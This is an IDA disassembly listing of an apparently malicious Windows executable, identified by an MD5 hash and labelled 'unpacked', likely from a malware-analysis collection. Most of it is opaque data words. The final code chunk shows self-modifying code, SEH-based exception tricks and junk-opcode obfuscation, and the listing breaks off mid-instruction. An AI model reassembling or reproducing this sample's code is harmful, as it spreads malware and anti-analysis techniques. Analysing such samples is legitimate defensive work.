; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : AB0B5F9D945CFEBCEF8684D2DAA77DB4 ; File Name : u:\work\ab0b5f9d945cfebcef8684d2daa77db4_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00008000 ( 32768.) ; Section size in file : 00008000 ( 32768.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 6F3000A1h, 0C0690040h, 30043FDh, 9EC30500h, 0B4A30027h dd 0E8C1000Fh, 7FFF2510h, 0C3050000h, 424448Bh, 81C311B0h dd 1902CECh, 0F8D5810h, 68501700h, 0FF050901h, 85511415h dd 0A0C48116h, 8B55C315h, 5756EC02h, 0C70875FFh, 0F800C14h dd 4589C8BEh, 5505B008h, 7503B00Ah, 85FCE00Bh, 0B82EC9h dd 27D0226h, 0FF85C803h, 85F805E1h, 85D0E1D2h, 6AF0E0F6h dd 0F9058301h, 0C75587Fh, 41751985h, 3D751780h, 5874F03Bh dd 50A1137h, 0F9813274h, 3380ACh, 0FF830A75h, 277E0F16h dd 7C200B04h, 0C01D1120h, 0FF810802h, 7407E2A8h, 0A90FC710h dd 0FE1E0A47h, 32027501h, 5D5E5FC0h, 0ACC78C69h, 93539600h dd 0A8858D16h, 0FF680070h, 63500071h, 85C1049Ch, 794275C0h dd 1010E715h, 33F88B80h, 0FE3BF6h, 478B2D74h, 7430390Ch dd 48B2602h, 0C730FF06h, 0D8400819h, 0B005E853h, 0B844038h dd 157559C0h, 0C683801Eh, 63C8304h, 0EBDC67B0h, 5D8B0300h dd 74DB8508h, 0EB530203h, 69FC6805h, 0C7FA29CEh, 7F385018h dd 80C95A5Bh, 10EC830Bh, 106A027Dh, 0DECE458Dh, 11447878h dd 0C48305ABh, 81C7660Ch, 6800020Eh, 2D3D36BDh, 933650F4h dd 0F2172966h, 0D001161Fh, 6AF40B07h, 0F81D2F08h, 66A10C1h dd 535B1B30h, 2C026A2Ch, 0F08BF878h, 30FE832Ch, 0EBE30458h dd 0B561D5Ah, 17565010h, 8317FC1Eh, 2EF9FFF8h, 1C380DDBh dd 0C35A8A51h, 8BF87081h, 0C24137Ch, 38CE8E57h, 0C00974C4h dd 8017756Dh, 19E1B03Fh, 0B0F7BC57h, 0B077408h, 8B0C408Bh dd 0E5301E1Fh, 8B058542h, 0BCBE9FC6h, 5FF1402h, 29F47734h dd 9C063516h, 68EC046Eh, 0D1406A14h, 7069E041h, 17A4C9CEh dd 71100868h, 40EB240Fh, 5FE29C2Ch, 5625E531h, 0B12BAA0h dd 20352E8Bh, 50592E16h, 42505811h, 0B7E5BBD6h, 93D1016h dd 1C7F0FEFh, 5E26501Ch, 0AAD6295Fh, 13033C1Eh, 2EDB3357h dd 2DD55364h, 0E8270C0Fh, 0D62C9E53h, 4291B72Ah, 2A620775h dd 36A61E9h, 752D3C8Fh, 840F8657h, 560EE093h, 0B2FD02E8h dd 871BC924h, 5FEF00Bh, 0B36F3868h, 11DF18DFh, 0B583Ah dd 0CE0C56CDh, 300958D8h, 0C4856078h, 7D0DFC59h, 0CF0CF207h dd 829CF436h, 2511C4Ch, 8D532476h, 16D33584h, 16718C9Dh dd 46B226F0h, 0DC6025F2h, 9EDC7259h, 0B020110h, 0E82404C7h dd 1E26FB77h, 1B30928h, 0C2A8575Eh, 1AB1F55Fh, 0CCEB0744h dd 35719D3Bh, 0EE9F790Ch, 0C409D23Eh, 91EC2068h, 0C988B133h dd 0FEFD6961h, 0D548AC0h, 188858C4h, 200480h, 60404041h dd 0EE7C2848h, 19606A2Ch, 68FF4C38h, 4063E41Bh, 8B12625Dh dd 8B9040EFh, 1C383FD1h, 0E1EFB4FCh, 0EEFF7C06h, 0F0CCDE1Eh dd 68096A21h, 31643B2Fh, 0D8E1BDACh, 206B7B45h, 48B3F75h dd 0D001E91Ah, 0FE4588E0h, 0E5FE1162h, 21AE4F42h, 9041D70h dd 218E23B3h, 79FF3CFFh, 2C6471EBh, 846D371Bh, 0DF3BD884h dd 93C497C7h, 687AC657h, 22B389B8h, 6DAB188Fh, 3914A737h dd 9C0F3CECh, 8B36EE0Ch, 534C8B43h, 0B200C39Ch, 93CAC90Ch dd 765A3D14h, 922F67Bh, 1D8B6B74h, 4B8B8DA5h, 0CC424B89h dd 1C0ACE61h, 118D32Dh, 40BF5752h, 85D99C06h, 0FF0CBC58h dd 31325759h, 6434ECBDh, 8DE3D66Eh, 58680465h, 0D8DF7962h dd 0B56A252Ch, 7413BA28h, 3BDE7424h, 0A39B6304h, 415A331Ch dd 8D46A028h, 0EEC5CB5h, 5C0EAC5Fh, 130C1106h, 0D26A1868h dd 10C0C0EBh, 264F4646h, 0CF0FE375h, 5804581Ch, 0B8424ACDh dd 0D6B1EFC4h, 0A1CB1505h, 833B234h, 0A1ECEAC1h, 0F20A6738h dd 8D5B4C6h, 0ED3E0627h, 4893B43Fh, 3C8E09A6h, 3EEFB4A8h dd 8E6C3FECh, 0EF6BACB4h, 0FB8EB43Fh, 0B53FFB3Ch, 9A8C921h dd 0CFFAE3FAh, 0E7DEA669h, 99993516h, 0DD034C0Ah, 0C7D069E2h dd 253B60AAh, 0C2E7366h, 0FB8305DFh, 80657401h, 60740204h dd 74DD068h, 0F0DC0EB6h, 9906816h, 0BEC53767h, 562FCB34h dd 0D2A3696Fh, 86568BF1h, 36F2EC51h, 981AE197h, 0B7E6FF8h dd 63CDB6Bh, 0C5681009h, 0D1888553h, 737C017h, 0DACBFE9h dd 48385FB4h, 60B757D3h, 586A2ABCh, 702C1604h, 0B49B8DDBh dd 45535E32h, 3C0E787Fh, 432DB7DBh, 6882DE60h, 746A6A2Ch dd 647B1274h, 16803AF7h, 70B13840h, 159DD6DEh, 0F1B7CD6Ch dd 87690D94h, 3B00D06Bh, 80EC7CCFh, 12B944A5h, 45066300h dd 1C52BEA0h, 3C39ADB4h, 31785876h, 0BD8EAABCh, 0D4971439h dd 0C54FE40Eh, 257F0074h, 0FC7D8908h, 0FCCD5ECCh, 0EADC5EB8h dd 0DE8F6E67h, 9FE7E0CAh, 6CE41D08h, 7FDCACE5h, 22E1C56h dd 0F2F03DD8h, 33653753h, 3C1CBBF0h, 0BB475311h, 73AC8F69h dd 3DB66248h, 0D77F6936h, 0C730FC17h, 6A1601E0h, 4417B72Ch dd 756D7ED7h, 73B71D28h, 83C16464h, 8E04C083h, 2DEF9E4Bh dd 89C72D50h, 6814B85Ch, 64482F68h, 0BB634553h, 1FA03A7Ch dd 3A4764B4h, 7D831B5Ch, 6317A20Ch, 16A34C05h, 1A7C6A5Dh dd 0E2E0F81Ch, 703565DBh, 0BC93B1A7h, 741B9D4Fh, 6D5285E1h dd 4410C362h, 0D86885E9h, 68622DADh, 0EFE06124h, 9E48EFEDh dd 0CF83985h, 590AA038h, 0EFF0B5B2h, 665B6C68h, 0B7EC875Ch dd 0C71B5A8Eh, 6A5076A4h, 730ADE70h, 802ABC59h, 0A5EC878h dd 977584ECh, 8784680Bh, 0C7A24863h, 3C71674Ch, 80E36C79h dd 519610FCh, 353B74B1h, 0FDCC227h, 6FA741D3h, 68147026h dd 14E7EB86h, 33E6DA48h, 0B52A32E3h, 66763AEBh, 0AF744C7Ch dd 8210B687h, 0C0599303h, 7559013Ah, 0D913BC60h, 1840BE6Bh dd 0C259FB15h, 0B374596Bh, 56F6CFAh, 0EB079958h, 3A222D5Fh dd 0F001A33Ch, 0D90AEB01h, 0F40BFBF8h, 8C4EE07h, 59780281h dd 0E4837C5Eh, 2C530871h, 0B85F8CDBh, 0E6030BDAh, 6AD3277h dd 7868D035h, 0DDDE0B82h, 12505917h, 6D9538Bh, 0B4087D8Bh dd 3803B40Ch, 2768FB1Ch, 711B0400h, 0D9B41518h, 5A48016h dd 0A7B79913h, 0F874C51Dh, 5CB41A9Dh, 563AD475h, 0DB71D43Dh dd 307C0C0Eh, 0D8CFEB6Ch, 64FCD8A3h, 0C1C471FBh, 202BCC36h dd 1C67D6FBh, 661B17E0h, 6A6031A1h, 8DFC41B1h, 78190267h dd 149C7B16h, 33D81A8Bh, 30DDC6FFh, 7D041E60h, 8002830Eh dd 89592B0Eh, 0C85CBD44h, 0A75750Fh, 0EE8450Bh, 0F750507h dd 730EC59h, 5F5A066Ah, 9D6A2D4Dh, 58474838h, 58062059h dd 4C7C4B59h, 0D44CEEB4h, 1AE85827h, 0D008B0A0h, 8E72CC1h dd 3CC0E05h, 0C808EC7Dh, 0B97A5468h, 1FDB182Dh, 0C3E047E0h dd 4CF3D20Dh, 7B8D1DFCh, 0BDE427B8h, 98E41334h, 2A746DCFh dd 80E7BA8Ch, 2BDB162Ch, 8E00CE1Eh, 0ECD841B3h, 57E3D88Fh dd 19CFEE3Ch, 0DA0A112Eh, 0F9DC5D89h, 7BBD820h, 3DF40D8Bh dd 3BDE9A36h, 5341EF8Ch, 6F0974ACh, 0EB0BC453h, 0F79E9F75h dd 90F1FBB6h, 0F62D3415h, 6D7B133Ah, 7B300E8Fh, 0F85A8230h dd 26594A74h, 86AD6B2Dh, 2C1D8B86h, 74594FD1h, 8A30B315h dd 4070F852h, 361B7501h, 23356580h, 9CA9966Ah, 0F4591453h dd 2D1FD6CDh, 3524DEEBh, 4E183FA7h, 8F02D67Fh, 0D9DCA3DCh dd 36EBBDC4h, 0F64437F9h, 0CBB7745Ah, 0BA763918h, 0F0BB303Ch dd 8F0F1000h, 351F6625h, 84A93790h, 0A27004C2h, 6C082474h dd 8A002057h, 74203C06h, 5093C04h, 0EB460375h, 0C5D43BF3h dd 0A20B1844h, 0DC00D5Fh, 0BF048D0Eh, 7C8D4600h, 0E5EBD041h dd 0A8C7618Bh, 33085654h dd 3F5657F6h, 5F088BA5h, 45E1D58h, 0B515B268h, 0C66C6ADFh dd 75891A57h, 51FBC4F0h, 0E13C9B6h, 97B3056Ah, 85960D00h dd 0B70B573Fh, 930A5656h, 4D417AE8h, 428C51FCh, 1B086818h dd 1638FC9h, 196AC638h, 46EB7978h, 541EE4DAh, 2D91E304h dd 32C47669h, 461B9DBEh, 0D92C20D6h, 0A6D59F0h, 0F8C2C747h dd 4C0FF85h, 81067DDCh, 4FD3C749h, 0C3093C47h, 0C657E8E8h dd 1F6A00C2h, 0F9F75999h, 0FFA0283h, 0B6E84D7Eh, 231E0FF6h dd 9916A6E8h, 0B0ECE8Bh, 0A9BE852h, 23D69071h, 3B3E17EBh dd 0B0788E17h, 16EB5753h, 1969E82Ch, 0E8AC5EE3h, 8E0A535Bh dd 91ADB748h, 0D546F220h, 0ECD423Bh, 4EF6B110h, 40365C3Ch dd 0BF640EB9h, 3711BA95h, 17C50F7Ch, 180EC52Bh, 7004CB50h dd 0D577C80Eh, 0C9B4A620h, 0BB35BD3Ch, 0E2D13284h, 4C5151C3h dd 483D2E58h, 68C9B011h, 5E6A4D94h, 3D22D796h, 193D6C44h dd 234C04B4h, 50106F93h, 76170C27h, 0A830D12h, 0D25A597Fh dd 8E10E858h, 1010F167h, 2DFD86D2h, 40674280h, 0B73D87h dd 0D73CA235h, 48B464CBh, 53CE4CEAh, 65680B1Fh, 0BBC2261Eh dd 5A863680h, 0F03F13F8h, 0EE754B04h, 0E3E75Bh, 0BB86884h dd 0EB0A6035h, 24CED9ECh, 69BE56E2h, 0DC740E00h, 9D8D568Dh dd 8DFBDCE2h, 50150BD6h, 1D5B5A0Dh, 5BC8005h, 5C0CC8DBh dd 13741361h, 4D681778h, 9B6D2FCCh, 0C81E23A9h, 137130EEh dd 0DC020C80h, 165E74C1h, 4E726313h, 745A9E6Bh, 2E10CE4Ch dd 53409C68h, 8011FF68h, 0FB6E8267h, 0ED0D7567h, 5C0017CBh dd 81D6CC8h, 0CA126C6h, 9DC5CA50h, 8B00ACCCh, 0C245400h dd 4244C8Bh, 74D21385h, 8A082A47h, 8B8CE644h, 720474E0h dd 0D900F72Dh, 7403E183h, 0D12B08h, 49470788h, 0C88BFA75h dd 8E0C105h, 6A3C103h, 83CAC210h, 0E905C0E2h, 2E067402h dd 5C3AABF3h, 0F74A2306h, 695F993Eh, 0E861D6E4h, 0C132F75Bh dd 145FE003h, 0B41018Ah, 4074C084h, 0F175C20Eh, 0E030DC75h dd 0FF03BA01h, 37EFEFEh, 33BF70D0h, 0C11B83C2h, 6DA904h dd 0E8748101h, 0FC5C418Bh, 8433322Bh, 0A9131EE4h, 133DB886h dd 0ADB69BCBh, 0CDEB0201h, 68FF418Dh, 0C12C2B55h, 0FE7509C3h dd 0FC67FD9Dh, 0B8D781EEh, 69C5729h, 104D31E3h, 0B88B5CCBh dd 0C603D100h, 276FE3Bh, 0FF83B08h, 7A387882h, 8CB6C7F7h dd 0E0CB145Dh, 8F983D1h, 0F3290072h, 9524FFA5h, 51CE23D8h dd 1CBAC72Dh, 80E98309h, 0E0830C0Dh, 0C8580303h, 0F0398517h dd 8D06C122h, 90C523E8h, 8B6C07CEh, 2C970400h, 23503C03h dd 0C8AD127h, 1468A01h, 62014788h, 56EE0205h, 0C6597108h dd 5CB3C7C5h, 5B8DACCCh, 259D2B49h, 271019Ch, 0D6A6D102h dd 2E23905Eh, 475A2146h, 0DE8C3A19h, 6CF5C3Fh, 0B403B9BCh dd 0A49EACE7h, 0E7949C79h, 3188AC8Ch, 6885E48Eh, 7CFE48Fh dd 0ECE83CE8h, 0F0CFECF3h, 0F3F4F03Ch, 3CF8CFF4h, 0FCF2FCF8h dd 348D6DB1h, 0F0030B9Ah, 0E26CF803h, 0F0D1FF8Bh, 0FC0373F0h dd 62410C7h, 5C08458Bh, 9DB49071h, 0F97C0BFAh, 0A3EB11FDh dd 0AEEDA0Dh, 748DA02Bh, 7C67B031h, 7FFC4F39h, 0DC2249Dh dd 0FCE3C5FDh, 257077C7h, 65859749h, 0EF252016h, 0F9A38FD6h dd 78A12BE3h, 2CA1DB24h, 0B728890h, 0D003E7A8h, 99036DB8h dd 36FC23Ah, 4F58E54Eh, 0BDB656A3h, 0B51F4BCEh, 0B1EEA3B8h dd 63CBEF02h, 90F2294Eh, 24F527DEh, 0B1EEABB8h, 0AE69EFABh dd 0E5A4531h, 2E5BFED6h, 2C5C0624h, 3CF33403h, 4C3C44CFh dd 0D767F354h, 1C1C3C67h, 0E71807B9h, 79149E18h, 10E71014h dd 0C790C9Eh, 9E08E708h, 97044F04h, 80C51FCBh, 38805CBh dd 0AC7A989Eh, 0B7E78BD6h, 0EE87ADB5h, 0E783D70Fh, 0B7F6D213h dd 0CCC01E8Dh, 83003D51h, 968D119Eh, 14151751h, 25B8C281h dd 10D02DDDh, 17B60185h, 84EC7326h, 0CC48B16h, 8BE18B0Bh dd 884019A5h, 0EFD2C38Ch, 56534130h, 61118A30h, 98841031h dd 8A006919h, 0F6840171h, 5D8B4F74h, 11919F7h, 0D038C930h dd 0D9157423h, 3A180B9Bh, 750A380Ah, 5B5EF518h, 0A0C3B4C5h dd 0EB75F010h, 0FF7E8D02h, 3902618Ah, 106628F7h, 0E03811E0h dd 8A17C475h, 6310341h, 0FF668A18h, 83101F67h, 0B1EBDF74h dd 34C2E419h, 90E0C28Ah, 478D9119h, 0C30CFF5Ch, 5D31DD9h dd 20111A1Ah, 57F2A053h, 26B0086Ah, 7D338D59h, 6A0BA2E0h dd 16002C07h, 0B60F01B3h, 101CCCAh, 0E8C1CF23h, 0CE3D203h dd 0CF056699h, 0A2461816h, 8BE57502h, 29460855h, 0CA8B0610h dd 8A4960A4h, 27BB6A02h, 5BCE1B61h, 0E3D32860h, 8AE798C1h dd 0E0354C01h, 774D984h, 42038270h, 8BE016EBh, 0A7921DAh dd 0CE236D1Eh, 580B242Ah, 5025E0D3h, 21B475C1h, 228000h dd 5FC38B42h, 5EC2012Bh, 0C01BD8F7h, 23556C89h, 565BC327h dd 8493898h, 8D6A0CEBh, 0FDDA24A4h, 5757C936h, 8E0FCF20h dd 1B7FA63Bh, 1A3E238Fh, 79810E3Bh, 600DEBFFh, 8EBFE04h dd 3EBFDE0h, 0C0C68E6h, 194C5FBEh, 92414E95h, 1788640Bh dd 0EEE06247h, 668905EBh, 42D7417h, 0F86EB967h, 0B5118B69h dd 2FE1976Bh, 0BBF3427h, 69C2F727h, 79F1265h, 38C7966Ah dd 668BEE67h, 0C5C6C608h, 0CAD0043h, 0F08808C5h, 0EC3D8307h dd 1FE6C58h, 68117E09h, 4CA71D07h, 21A7AEECh, 0E195471Ah dd 0D8B26B0h, 8137C3E0h, 2541048Bh, 0C6F8A307h, 2820306Ah dd 7D31E451h, 64046134h, 0B2434A1h, 25896450h, 1CD74B07h dd 89570858h, 0C563E865h, 0D233C1ACh, 5C31D48Ah, 93C2EA64h dd 765CE181h, 600D2E89h, 0E1C1210Dh, 0ACAA68Bh, 0E8025C1Dh dd 0E258A310h, 8EF63307h, 7D232998h, 8754281h, 0B701C6Ah dd 63595419h, 83C0E89h, 4DD25821h, 1A27F7A8h, 20B8D074h dd 40A316A0h, 1ECC096Fh, 9A1D8B38h, 0BC58AEB4h, 79C6D02Bh dd 838FA431h, 1674A4h, 9C458942h, 1D045F6h, 0F06F986h dd 18D445B7h, 58410AABh, 729C4F8Dh, 0BE9EA01Fh, 89302566h dd 0E91A34D8h, 0EC47568Ch, 8909011Fh, 5150984Dh, 0BE1B1071h dd 0C7E0FE69h, 0CBE89875h, 23C3F6BAh, 75C56F48h, 251BC405h dd 423E78Bh, 9AC42588h, 0D04F7066h, 0BB2FE76Ah, 0F859F224h dd 0E450B025h, 428D60D0h, 0C35BFF1Bh, 648DE25Dh, 0D36C06C8h dd 0D88B3153h, 0EBC4BD90h, 0B0BFC908h, 0A8A130Ah, 0D4384236h dd 0C984D102h, 12F05174h, 0B36ED75h, 0C3029CD8h, 5610E3C1h dd 0A8B08C1h, 4611B6BFh, 3319B6C1h, 0F96FC1CBh, 0B4FFF183h dd 33CF021Ah, 4C283C6h, 1BD06D64h, 256D1C75h, 6D39622h dd 817979Ch, 2345E681h, 4023AD80h, 0CDC05B11h, 38FC428Bh dd 367437D8h, 38EF0DA7h, 0AB3E93DCh, 0BC8DE793h, 0DCF31512h dd 385806CFh, 0E12DB396h, 77FE42B1h, 0FD9F0637h, 0D125FC1Dh dd 8D91C522h, 0F9658848h, 0C772638h, 72592FDEh, 52EB2F30h dd 5B83F599h, 0C12B0E3Ah, 0D1B68085h, 15644F6h, 0A5E8023h dd 0FE658005h, 0FC4D1060h, 0FD451B88h, 916A46Ah, 45FD380Dh dd 42CFC6Bh, 0BB0A4D8Dh, 51018413h, 3C559A50h, 17682701h dd 27566D0h, 0C6B89B8Ch, 452C230Ah, 0A111080Ch, 0CC347454h dd 0D0FF0203h, 73601068h, 30060888h, 68A41BC1h, 0E6804h dd 16DD4BEAh, 8A974FC3h, 0D11B0C3Ch, 100CB28Bh, 86DA0147h dd 395F047Fh, 0BAE3943Dh, 0FD691175h, 0D3B8A963h, 64B49E49h dd 3155CD83h, 18585C20h dd 903D2E89h, 1D881622h, 3C82288Ch, 83F150A1h, 4CEF6122h dd 8D56C074h, 3B02FC71h, 8B1372F0h, 0B097F206h, 5A3B047Ch dd 73022235h, 18685EEDh, 0D41494D1h, 5A682898h, 1C3B1020h dd 5BDB8580h, 7AB41075h, 4F86895Bh, 6198362Ah, 0E23B78A2h dd 0D60D73AAh, 4C60A57h, 5D34EDEBh, 53D85344h, 18D3FF1Ch dd 8B842047h, 0F79C0858h, 15AEDA15h, 5C8205FBh, 0E5086083h dd 807158EAh, 4343FC1Ch, 73F61938h, 98AE8700h, 4CE6266Fh dd 0C04D4369h, 8B0C0B3Bh, 24680448h, 1DC85B85h, 0CC6D701Ch dd 6D743865h, 56D10003h, 157DCA3Bh, 4916348Dh, 1704D12Bh dd 161200B5h, 3022683h, 754A0CC6h, 177E46F7h, 16107C35h dd 58338E3Dh, 0C72D0C9Bh, 830E0C05h, 70EB1300h, 0CE123B25h dd 3D5D8381h, 0E884BC91h, 933D3B4Ah, 378385CEh, 82BC8D3Dh dd 3D3B24E8h, 8386CE8Fh, 0A3923D11h, 0CB8AE30Ah, 6A6688FFh dd 2E8C888Ch, 56590AECh, 0FA74595Eh, 3911515Dh, 0E368A39Ah dd 0FFC83683h, 7BD14868h, 5D5BE1BCh, 1C671DC3h, 6D7078D9h dd 0F8671539h, 0B85616FDh, 0ED748B05h, 0B74EB4Fh, 0CC08300h dd 473C63Bh, 0FC104339h, 490C8D02h, 8D03C55Eh, 0C13B15A1h dd 89661269h, 0EDCE3EEDh, 1B003B74h, 0A3E8662Ch, 2330499Eh dd 25637522h, 74616A9h, 119B476Dh, 0A1C019F7h, 0A7602861h dd 46E60128h, 3E80E3EBh, 0C00D2162h, 203C0A07h, 704EC676h dd 5977200Ch, 28E534FAh, 890FD104h, 0DB80C685h, 39DB3353h dd 0CC5AB41Dh, 0C85BFD48h, 4EEFD25Ah, 0C33A2B80h, 3D3C01DEh dd 23470174h, 3966683Ch, 0EB01A3C0h, 4128DE8h, 0AC3C04BDh dd 8BB12C01h, 0F33B59F0h, 0B4740931h, 7448CCA5h, 72F4C09h dd 1413D5Ah, 39741F38h, 396C5755h, 59E8058Bh, 853F8045h dd 0B1552249h, 31C33B34h, 2E6E063Ch, 36FF5708h, 596EACB4h dd 359166Eh, 750537FDh, 0B7FF5DC9h, 82452D84h, 0B1D2B8Bh dd 5F1E8940h, 4487985Eh, 0E8017471h, 6B510BF1h, 9CBE85BDh dd 3C982BDBh, 53515623h, 69A18AB2h, 84A2C729h, 38FE8B82h dd 8B4D6118h, 6DE347F8h, 53530BF3h, 671E459Fh, 0A0260F8Bh dd 8816E54Bh, 0EA19A5D4h, 3EA1D6CFh, 392F7508h, 8624E127h dd 356A5650h, 2C27FC2Ch, 7B5A4814h, 0A39C856Ch, 3606D068h dd 184CE26Ch, 30141CC4h, 0B321839Bh, 616A6672h, 0A60C7D44h dd 8BE494DFh, 0C6786685h, 61393777h, 80146189h, 449B3038h dd 150048Ah, 0C6FA8040h, 583929BEh, 0D2BE3025h, 218216F6h dd 41B4772h, 1043D74h, 70C0F685h, 1688108Ah, 0B40462Dh dd 0EB8BD59Dh, 4620CCEh, 461D3180h, 1CC24069h, 11D943EBh dd 0C51E6D05h, 44834004h, 0E983F6DAh, 881819C0h, 65B8461Eh dd 9797420h, 9086009h, 75E0CC75h, 0BBD94803h, 0FF664AD8h dd 2C6580D8h, 684E0018h, 16C700h, 2BD14439h, 3276805h dd 6CF15EB1h, 0BCF7C817h, 0B558BD0h, 0C702FF14h, 59D73AD0h dd 5C22C085h, 16400475h, 92F7EB43h, 0C3F62C81h, 6196B201h dd 307D3941h, 0B800D6Dh, 8D220178h, 8B1D38E3h, 3815C263h dd 0C9C0837h, 18D26C33h, 940F1805h, 58089C2h, 0D38BEBD1h dd 0B2F934Bh, 4088430Eh, 465C06C6h, 754BB1B0h, 0C58AF335h dd 92834A29h, 0A37CB33Fh, 74C33F8Ah, 94C833Ah, 282E742Eh dd 0C9E2195Bh, 0E21FE506h, 406F0F1Bh, 0E315032Eh, 90384001h dd 309AD81Fh, 0EE80F9Ch, 3C7B8A6h, 8E274E83h, 4CE1442h dd 98A06CFBh, 0A019A149h, 0B5684070h, 0D1C2EDD0h, 0C0C9F633h dd 475A88Bh, 260ED51Bh, 1674330Bh, 0ED7421BAh, 5828EB36h dd 4730CC3Dh, 1798FB3Bh, 0C71BF7EAh, 215EBC02h, 62C87D40h dd 0A781E0C7h, 3F0C2F43h, 0F0C22738h, 8C1E3966h, 40EBE173h dd 18086040h, 6BCF975h, 0C62BF211h, 50C82F87h, 84F8D10Dh dd 5953408Eh, 8903C090h, 23342444h, 235D7FFh, 3274EB3Bh dd 0C2223237h, 0C223747Bh, 0B950551Ch, 257724BBh, 97A92B21h dd 10230C0Eh, 8B5CE527h, 0B1038B09h, 5C4728Fh, 53EBC38Bh dd 75028982h, 85A5CE4Ch, 7408B177h, 8B60C03Ch, 2C0A74C7h dd 5A7B3840h, 0F60504FBh, 9C40C72Bh, 945666Ah, 68CEDD9Bh dd 0EBF622B0h, 6DBA0B46h, 0EC8B90F5h, 0C0F6B1B3h, 67C63D68h dd 624089EBh, 7D9C5B01h, 894459ECh, 0D232394Bh, 0B3093EADh dd 1B327365h, 4015C3E6h, 1C189673h, 20787440h, 29B4868Dh dd 7336B4ACh, 4396D1Ah, 46C6B6C0h, 0A15A0A05h, 2DF56C23h dd 0A1B0508h, 5DB4E2EBh, 66CC52A6h, 73420973h, 0C5D2C575h dd 0E99C4417h, 23B9740Bh, 5DC8D30h, 0A00800B8h, 2E1C8D4Ah dd 76027C2Ch, 6335392Dh, 0BF527D02h, 8F4CEE44h, 380068E6h dd 57F835Eh, 888D0789h, 4F607EB6h, 0B9608018h, 40C7087Eh dd 0C10F8B0Ah, 0C1810876h, 0DDE47C6Ch, 7C49F0D5h, 6EB16BBh dd 30D4098Bh, 187EF6A5h, 38038B46h, 68A3614h, 0C1F6004Dh dd 47ECE01h, 0B75080Bh, 87949EA5h, 0C7D05825h, 0C1CF8B01h dd 0E18305F8h, 85045530h, 218CCFB4h, 0B8BC805h, 2FC80889h dd 47EB6088h, 0C3038345h, 7CFE3B04h, 0EC5067BAh, 0FFD83CC1h dd 31D8F258h, 3B964D75h, 81041900h, 0F66AB481h, 8861EB58h dd 198748C3h, 72F58D71h, 0F203D858h, 0B5571750h, 250C8D66h dd 9A3ECF68h, 800608D0h, 0EB6AC54Eh, 3F8BB84h, 50A1C77h dd 0C604EB08h, 30438005h, 2D7C0374h, 0B8B8FF9Bh, 0A5F5D436h dd 44BD84A9h, 6AB3C4C3h, 0F3987732h, 0B6A0A368h, 63C02E76h dd 17558C5Bh, 569128A3h, 2D2E5C37h, 0F752570h, 10A73CB3h dd 0AE901E1Dh, 4BCD8672h, 0FCD62140h, 0C25529E7h, 33D868D8h dd 309EF886h, 5DA13C11h, 0E58B3AC7h, 41CFD022h, 67004h dd 81D8DB8h, 0E73A0F74h, 8910F1B8h, 0CBB80235h, 0BD3EC347h dd 6AD96012h, 0E05C68FEh, 66B26440h, 0C3AF8B5Dh, 0A620193Ch dd 708B0A4Ah, 53440E0Ch, 24047F2Eh, 21C02874h, 0B30C8B76h dd 39858949h, 17844889h, 0B1C3B37Ch, 14431275h, 0B32D2D4Eh dd 9124027Dh, 8C054FFh, 8F64C3EBh, 0DE4932ABh, 0E7F38CA2h dd 0D0641964h, 5A79810Fh, 75236804h, 8151190Dh, 390C52A6h dd 5B13151h, 8AC19B6Dh, 8C8CBB51h, 0F671B385h, 61A86708h dd 33024B16h, 6B02D043h, 465B590Ch, 56EF7024h, 30320243h dd 30304358h, 816374Dh, 59FC89FAh, 0F7B99C18h, 6CE4405Bh dd 212DC7D9h, 4531C489h, 16DE4D10h, 21713EF8h, 87BC273h dd 8D61C1D0h, 0B1760C2Ch, 45748F70h, 8D555605h, 0A89C106Bh dd 5E5D2E0Bh, 0C40B4C41h, 3C783317h, 45C54125h, 0B38BBB23h dd 56961D04h, 2EFDCE0Ch, 6FB33608h, 938FDE8Fh, 558F164Ah dd 5D3B0C2Eh, 1AE03008h, 0EB8F348Bh, 0DBB8A12Dh, 0C91CEB0Bh dd 0D015EB62h, 0B5FF6A5Ch, 165D963Fh, 55A394D6h, 8B02754Eh dd 1C418B29h, 1803C250h, 0F324D650h, 350EA1E1h, 99CCA18Eh dd 832AF2B8h, 6AD43D1Ch, 21089DCCh, 0D800FC68h, 33C42538h dd 9ACBA4A1h, 0FFF0F159h, 592A156Ah, 9AA4C06Ch, 8550184h dd 0A0B8C933h, 983B3E39h, 428E0B90h, 303D4108h, 0F137E06Eh dd 5F18B56h, 3B03E6C1h, 871AA596h, 3A011C26h, 1EBC9B6Ch dd 0D70F3E8h, 0D71E10F7h, 75FA812Dh, 0F0F10B38h, 905C858Dh dd 10427E2h, 30E74D46h, 0C4171397h, 0D34F540Ch, 123E7CA3h dd 8D505705h, 3407A6BDh, 0C1404261h, 29763CC8h, 0E2211979h dd 0DF1F825h, 6A465883h dd 0F8030305h, 41CF0868h, 0FB351257h, 60858638h, 0DACDD385h dd 109F553Ah, 0B63C5712h, 0EAE81DF8h, 0B6FF2B05h, 16D3DFA4h dd 6805113Eh, 0F1012010h, 7CC06810h, 6E6A3527h db 0C0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_402839: ; CODE XREF: start-1777Fj jmp near ptr 8D67139Dh ; --------------------------------------------------------------------------- loc_40283E: ; CODE XREF: start+7j mov eax, offset loc_40284D add byte ptr [eax], 28h inc eax add dword ptr [eax], 1234567h loc_40284D: ; DATA XREF: start:loc_40283Eo nop test al, 52h sbb eax, 0FF6450FFh xor eax, 0 mov large fs:0, esp xor eax, eax mov [eax], ecx nop nop nop nop pop esi push esi db 2Eh push 0E7CE3324h db 67h jo near ptr 2891h mov al, ds:1BA31D9Ah push esi db 26h sti cwde in eax, 0F9h ; AT 80287 data. ; 286 sends opcodes & operands and receives results. jz 